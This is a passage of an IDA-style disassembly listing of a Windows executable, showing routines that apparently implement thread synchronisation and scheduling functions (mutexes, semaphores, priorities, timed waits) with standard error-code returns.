		cmp	eax, 1
		jz	short loc_43291D
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43291D:				; CODE XREF: ___:0043290Fj
					; ___:00432914j
		mov	ecx, [esi]
		pop	esi
		mov	[ecx+14h], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432940:				; CODE XREF: ___:004019D8j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_432965
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_432965
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+14h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_432965:				; CODE XREF: ___:00432950j
					; ___:00432958j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432980	proc near		; CODE XREF: sub_401050j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401758
		add	esp, 8
		test	eax, eax
		jnz	short loc_4329C5
		mov	eax, [esp+4+arg_4]
		test	eax, eax
		jl	short loc_4329C0
		cmp	eax, 2
		jg	short loc_4329C0
		test	eax, eax
		jz	short loc_4329AC
		mov	eax, 30h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4329AC:				; CODE XREF: sub_432980+23j
		mov	eax, [esp+4+arg_8]
		mov	ecx, [eax]
		push	ecx
		push	0
		push	esi
		call	sub_4020B3
		add	esp, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4329C0:				; CODE XREF: sub_432980+1Aj
					; sub_432980+1Fj
		mov	eax, 16h


loc_4329C5:				; CODE XREF: sub_432980+12j
		pop	esi
		retn
sub_432980	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4329F0	proc near		; CODE XREF: sub_4020B3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	edi
		mov	[esp+0Ch+arg_8], esi
		call	sub_40154B
		add	esp, 4
		cmp	esi, eax
		jl	loc_432A95
		push	edi
		call	sub_401438
		add	esp, 4
		cmp	esi, eax
		jg	short loc_432A95
		cmp	esi, 0FFFFFFF1h
		jle	short loc_432A30
		cmp	esi, 0FFFFFFFEh
		jge	short loc_432A30
		mov	[esp+8+arg_8], 0FFFFFFFEh
		jmp	short loc_432A42
; ---------------------------------------------------------------------------


loc_432A30:				; CODE XREF: sub_4329F0+2Fj
					; sub_4329F0+34j
		cmp	esi, 0Fh
		jge	short loc_432A42
		cmp	esi, 2
		jle	short loc_432A42
		mov	[esp+8+arg_8], 2


loc_432A42:				; CODE XREF: sub_4329F0+3Ej
					; sub_4329F0+43j ...
		mov	edi, [esp+8+arg_0]
		push	ebx
		push	ebp
		lea	ebp, [edi+24h]
		push	ebp
		call	sub_402225
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_432A8E
		mov	eax, [esp+10h+arg_8]
		mov	ecx, [edi+4]
		push	eax
		push	ecx
		nop
		call	near ptr 27206EFh
		test	eax, eax
		jnz	short loc_432A82
		push	ebp
		mov	ebx, 16h
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432A82:				; CODE XREF: sub_4329F0+7Bj
		push	ebp
		mov	[edi+28h], esi
		call	sub_4010C3
		add	esp, 4


loc_432A8E:				; CODE XREF: sub_4329F0+68j
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432A95:				; CODE XREF: sub_4329F0+19j
					; sub_4329F0+2Aj
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_4329F0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432AD0	proc near		; CODE XREF: sub_40218Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401758
		add	esp, 8
		test	eax, eax
		jnz	short loc_432B09
		mov	ecx, [esp+4+arg_4]
		cmp	ecx, 2
		jbe	short loc_432B04
		mov	eax, [esp+4+arg_8]
		test	eax, eax
		jz	short loc_432B04
		mov	dword ptr [ecx], 0
		mov	ecx, [esi+28h]
		mov	[eax], ecx
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432B04:				; CODE XREF: sub_432AD0+1Bj
					; sub_432AD0+23j
		mov	eax, 16h


loc_432B09:				; CODE XREF: sub_432AD0+12j
		pop	esi
		retn
sub_432AD0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432B20	proc near		; CODE XREF: sub_401438j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jl	short loc_432B33
		cmp	eax, 2
		jg	short loc_432B33
		mov	eax, 0Fh
		retn
; ---------------------------------------------------------------------------


loc_432B33:				; CODE XREF: sub_432B20+6j
					; sub_432B20+Bj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_432B20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432B60	proc near		; CODE XREF: sub_40154Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jl	short loc_432B73
		cmp	eax, 2
		jg	short loc_432B73
		mov	eax, 0FFFFFFF1h
		retn
; ---------------------------------------------------------------------------


loc_432B73:				; CODE XREF: sub_432B60+6j
					; sub_432B60+Bj
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_432B60	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432BA0:				; CODE XREF: ___:00401AC8j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_432BE5
		nop
		call	near ptr 2720691h
		cmp	esi, eax
		jz	short loc_432BE5
		push	esi
		push	0
		push	200h
		nop
		call	near ptr 2770000h
		test	eax, eax
		jnz	short loc_432BE5
		nop
		call	near ptr 27A08E0h
		mov	esi, eax
		sub	esi, 5
		neg	esi
		sbb	esi, esi
		and	esi, 2
		inc	esi
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432BE5:				; CODE XREF: ___:00432BA7j
					; ___:00432BB1j ...
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_432BFE
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432BFE:				; CODE XREF: ___:00432BEBj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432C30:				; CODE XREF: ___:0040150Aj
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_432C75
		nop
		call	near ptr 2720691h
		cmp	esi, eax
		jz	short loc_432C75
		push	esi
		push	0
		push	400h
		nop
		call	near ptr 2770000h
		test	eax, eax
		jnz	short loc_432C75
		nop
		call	near ptr 27A08E0h
		mov	esi, eax
		sub	esi, 5
		neg	esi
		sbb	esi, esi
		and	esi, 2
		inc	esi
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432C75:				; CODE XREF: ___:00432C37j
					; ___:00432C41j ...
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432CA0:				; CODE XREF: ___:00401B4Aj
		push	0
		call	near ptr 2811D0Bh
		nop
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432CC0	proc near		; CODE XREF: sub_401C76j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		test	eax, eax
		jz	short loc_432CDF
		mov	edi, 1
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432CDF:				; CODE XREF: sub_432CC0+Aj
		push	4
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_432CF7
		mov	edi, 0Ch


loc_432CF7:				; CODE XREF: sub_432CC0+30j
		mov	eax, [esp+8+arg_8]
		push	0
		push	3FFFFFFFh
		push	eax
		push	0
		nop
		call	near ptr 2720000h
		test	eax, eax
		mov	[esi], eax
		jnz	short loc_432D24
		mov	edi, 1Ch
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432D24:				; CODE XREF: sub_432CC0+4Fj
		test	edi, edi
		jz	short loc_432D36
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432D36:				; CODE XREF: sub_432CC0+66j
		mov	ecx, [esp+8+arg_0]
		pop	edi
		xor	eax, eax
		mov	[ecx], esi
		pop	esi
		retn
sub_432CC0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432D80	proc near		; CODE XREF: sub_401686j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		test	edi, edi
		jz	short loc_432DA5
		mov	esi, [edi]
		test	esi, esi
		jz	short loc_432DA5
		mov	dword ptr [edi], 0
		mov	eax, [esi]
		push	eax
		nop
		call	near ptr 282071Eh
		test	eax, eax
		jnz	short loc_432DB7
		mov	[edi], esi


loc_432DA5:				; CODE XREF: sub_432D80+8j
					; sub_432D80+Ej
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432DB7:				; CODE XREF: sub_432D80+21j
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		retn
sub_432D80	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432DF0	proc near		; CODE XREF: sub_4010A5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		test	eax, eax
		jz	short loc_432E23
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_432E23
		mov	eax, [eax]
		push	0
		push	eax
		call	near ptr 2750455h
		nop
		cmp	eax, 102h
		jnz	short loc_432E35
		mov	esi, 0Bh
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432E23:				; CODE XREF: sub_432DF0+7j
					; sub_432DF0+Dj
		mov	esi, 16h
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432E35:				; CODE XREF: sub_432DF0+1Fj
		xor	eax, eax
		pop	esi
		retn
sub_432DF0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432E60	proc near		; CODE XREF: sub_401041j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		test	eax, eax
		jz	short loc_432E8D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_432E8D
		mov	eax, [eax]
		push	eax
		call	sub_401640
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4C483F0h, 1F74F685h,	0C436E890h, 3089777Eh, 5EFFC883h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_432E8D:				; CODE XREF: sub_432E60+7j
					; sub_432E60+Dj
		mov	esi, 16h
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_432E60	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432ED0	proc near		; CODE XREF: sub_401898j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 0Ch
		push	ebp
		mov	ebp, [esp+10h+arg_0]
		test	ebp, ebp
		push	esi
		jnz	short loc_432EF3
		mov	esi, 16h
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		pop	esi
		or	eax, 0FFFFFFFFh
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_432EF3:				; CODE XREF: sub_432ED0+Bj
		push	ebx
		push	edi
		mov	edi, [esp+1Ch+arg_4]
		test	edi, edi
		jnz	short loc_432F02
		or	ebx, 0FFFFFFFFh
		jmp	short loc_432F61
; ---------------------------------------------------------------------------


loc_432F02:				; CODE XREF: sub_432ED0+2Bj
		lea	eax, [esp+1Ch+var_C]
		xor	ebx, ebx
		push	eax
		nop
		call	near ptr 77C49113h
		mov	ecx, [edi]
		mov	esi, [esp+20h+var_C]
		add	esp, 4
		cmp	ecx, esi
		jl	short loc_432F61
		mov	edx, [edi+4]
		mov	eax, 431BDE83h
		add	edx, 7A120h
		mul	edx
		lea	eax, [ecx+ecx*4]
		lea	ecx, [esi+esi*4]
		shr	edx, 12h
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		shl	ecx, 3
		lea	eax, [edx+eax*8]
		sub	eax, ecx
		mov	ecx, [esp+1Ch+var_8]
		and	ecx, 0FFFFh
		cmp	eax, ecx
		jbe	short loc_432F61
		sub	eax, ecx
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_432F61
		dec	ebx


loc_432F61:				; CODE XREF: sub_432ED0+30j
					; sub_432ED0+4Aj ...
		mov	edx, [ebp+0]
		push	ebx
		mov	eax, [edx]
		push	eax
		call	sub_401D70
sub_432ED0	endp

; ---------------------------------------------------------------------------
		db 83h,	0C4h, 8
		dd 0F685F08Bh, 11745B5Fh, 7EC33FE8h, 30899077h,	0FFC8835Eh
		dd 0CC4835Dh, 0C0335EC3h, 0CC4835Dh, 909090C3h,	3 dup(90909090h)
		dd 10h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_432FE0	proc near		; CODE XREF: sub_40103Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_432FFF
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_432FFF
		mov	eax, [eax]
		push	0
		push	1
		push	eax
		nop
		call	near ptr 2710DE4h
		test	eax, eax
		jnz	short loc_43300F


loc_432FFF:				; CODE XREF: sub_432FE0+6j
					; sub_432FE0+Cj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_43300F:				; CODE XREF: sub_432FE0+1Dj
		xor	eax, eax
		retn
sub_432FE0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433030	proc near		; CODE XREF: sub_40204Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_433056
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_433056
		mov	ecx, [esp+arg_4]
		test	ecx, ecx
		jle	short loc_433056
		mov	eax, [eax]
		push	0
		push	ecx
		push	eax
		nop
		call	near ptr 2710DE4h
		test	eax, eax
		jnz	short loc_433066


loc_433056:				; CODE XREF: sub_433030+6j
					; sub_433030+Cj ...
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_433066:				; CODE XREF: sub_433030+24j
		xor	eax, eax
		retn
sub_433030	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433080:				; CODE XREF: ___:00401433j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		push	edi
		jz	short loc_4330CD
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_4330CD
		mov	edi, [esp+10h]
		test	edi, edi
		jz	short loc_4330CD
		mov	eax, [esi]
		push	0
		push	eax
		nop
		call	near ptr 2750455h
		cmp	eax, 102h
		jnz	short loc_4330B1
		xor	eax, eax
		mov	[edi], eax
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4330B1:				; CODE XREF: ___:004330A8j
		mov	edx, [esi]
		lea	ecx, [esp+0Ch]
		push	ecx
		push	1
		push	edx
		call	near ptr 2710DE4h
		nop
		mov	eax, [esp+0Ch]
		inc	eax
		mov	[edi], eax
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4330CD:				; CODE XREF: ___:00433088j
					; ___:0043308Ej ...
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433100:				; CODE XREF: ___:0040220Cj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433120:				; CODE XREF: ___:00402013j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433140:				; CODE XREF: ___:00401CB2j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433160	proc near		; CODE XREF: sub_401992j

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_50E980
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_433194
		push	esi
		push	ecx
		call	sub_4021EE
		add	esp, 8
		mov	esi, eax
		push	offset dword_50E980
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433194:				; CODE XREF: sub_433160+17j
		test	eax, eax
		jnz	short loc_43319D
		mov	esi, 16h


loc_43319D:				; CODE XREF: sub_433160+36j
		push	offset dword_50E980
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_433160	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4331D0	proc near		; CODE XREF: sub_4021EEj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	ebp
		mov	ebp, [esp+0Ch+arg_0]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebp, edi
		mov	[esp+14h+var_4], edi
		jnz	short loc_4331EE
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 16h
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4331EE:				; CODE XREF: sub_4331D0+11j
		lea	eax, [esp+14h+var_4]
		push	eax
		call	sub_401C26
		mov	ebx, [esp+18h+arg_4]
		add	esp, 4
		test	eax, eax
		jz	short loc_433229
		mov	[esp+14h+var_4], 1


loc_43320B:				; CODE XREF: sub_4331D0+5Ej
					; sub_4331D0+63j
		push	8
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_433240
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 0Ch
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_433229:				; CODE XREF: sub_4331D0+31j
		cmp	[esp+14h+var_4], 1
		jle	short loc_43320B
		cmp	ebx, 1
		jnz	short loc_43320B
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 28h
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_433240:				; CODE XREF: sub_4331D0+4Cj
		mov	eax, [esp+14h+var_4]
		cmp	eax, 1
		jle	short loc_43325D
		mov	[esi+4], eax
		mov	dword ptr [esi], 1
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43325D:				; CODE XREF: sub_4331D0+77j
		lea	ecx, [esp+14h+arg_0]
		push	ecx
		call	sub_401A0F
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_433293
		mov	edx, [esp+14h+arg_0]
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	[edx], ebx
		call	sub_402199
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_433293
		mov	dword ptr [esi], 3


loc_433293:				; CODE XREF: sub_4331D0+9Ej
					; sub_4331D0+BBj
		lea	edx, [esp+14h+arg_0]
		push	edx
		call	sub_4010AA
		add	esp, 4
		test	edi, edi
		jnz	short loc_4332AF
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4332AF:				; CODE XREF: sub_4331D0+D2j
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		mov	eax, edi
		mov	dword ptr [ebp+0], 0
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_4331D0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433310:				; CODE XREF: ___:00401109j
		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+10h]
		xor	ebx, ebx
		test	edi, edi
		jz	loc_4333B5
		mov	esi, [edi]
		test	esi, esi
		jz	loc_4333B5
		cmp	esi, 0FFFFFFFFh
		jz	short loc_433378
		cmp	dword ptr [esi], 3
		jnz	short loc_43335D
		lea	eax, [esi+4]
		push	eax
		call	sub_40222F
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_4333AF


loc_433347:				; CODE XREF: ___:0043336Bj
		push	esi
		mov	dword ptr [edi], 0
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43335D:				; CODE XREF: ___:00433333j
		push	1
		push	0
		push	esi
		call	dword_50E3FC	; InterlockedCompareExchange
		cmp	eax, 1
		jz	short loc_433347
		mov	ebx, 16h
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433378:				; CODE XREF: ___:0043332Ej
		push	offset dword_50E980
		nop
		call	near ptr 7C901005h
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_43339F
		push	offset dword_50E980
		mov	dword ptr [edi], 0
		nop
		call	near ptr 7C9010EDh
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43339F:				; CODE XREF: ___:00433386j
		push	offset dword_50E980
		mov	ebx, 10h
		nop
		call	near ptr 7C9010EDh


loc_4333AF:				; CODE XREF: ___:00433345j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4333B5:				; CODE XREF: ___:0043331Bj
					; ___:00433325j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4333F0:				; CODE XREF: ___:004021C1j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_433451
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_433451
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_433411
		push	esi
		call	sub_401992
		add	esp, 4
		test	eax, eax
		jnz	short loc_433456


loc_433411:				; CODE XREF: ___:00433402j
		mov	esi, [esi]
		push	1
		push	2
		push	esi
		call	dword_50E3FC	; InterlockedCompareExchange
		cmp	eax, 2
		jnz	short loc_433433


loc_433423:				; CODE XREF: ___:00433431j
		push	1
		push	2
		push	esi
		call	dword_50E3FC	; InterlockedCompareExchange
		cmp	eax, 2
		jz	short loc_433423


loc_433433:				; CODE XREF: ___:00433421j
		mov	eax, [esi]
		cmp	eax, 2
		jnz	short loc_43343E
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43343E:				; CODE XREF: ___:00433438j
		cmp	eax, 3
		jnz	short loc_433451
		add	esi, 4
		push	esi
		call	sub_402225
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433451:				; CODE XREF: ___:004333F7j
					; ___:004333FDj ...
		mov	eax, 16h


loc_433456:				; CODE XREF: ___:0043340Fj
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433480:				; CODE XREF: ___:00401AA5j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		jz	short loc_4334C1
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_4334C1
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_43349B


loc_433494:				; CODE XREF: ___:004334A7j
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43349B:				; CODE XREF: ___:00433492j
		push	2
		push	1
		push	esi
		call	dword_50E3FC	; InterlockedCompareExchange
		dec	eax
		jz	short loc_433494
		dec	eax
		jz	short loc_4334BD
		dec	eax
		jnz	short loc_4334C1
		add	esi, 4
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4334BD:				; CODE XREF: ___:004334AAj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4334C1:				; CODE XREF: ___:00433487j
					; ___:0043348Dj ...
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4334F0:				; CODE XREF: ___:00401933j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_433540
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_433540
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_433511
		push	esi
		call	sub_401992
		add	esp, 4
		test	eax, eax
		jnz	short loc_433545


loc_433511:				; CODE XREF: ___:00433502j
		mov	esi, [esi]
		push	1
		push	2
		push	esi
		call	dword_50E3FC	; InterlockedCompareExchange
		dec	eax
		jz	short loc_43353C
		dec	eax
		jz	short loc_433535
		dec	eax
		jnz	short loc_433540
		add	esi, 4
		push	esi
		call	sub_40177B
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433535:				; CODE XREF: ___:00433522j
		mov	eax, 10h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43353C:				; CODE XREF: ___:0043351Fj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433540:				; CODE XREF: ___:004334F7j
					; ___:004334FDj ...
		mov	eax, 16h


loc_433545:				; CODE XREF: ___:0043350Fj
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433570:				; CODE XREF: ___:00401244j
		push	esi
		mov	esi, [esp+8]
		push	0
		push	esi
		call	sub_401758
		add	esp, 8
		test	eax, eax
		jnz	short loc_43359C
		mov	eax, [esi+20h]
		mov	ecx, 1
		cmp	eax, ecx
		jnz	short loc_433597
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


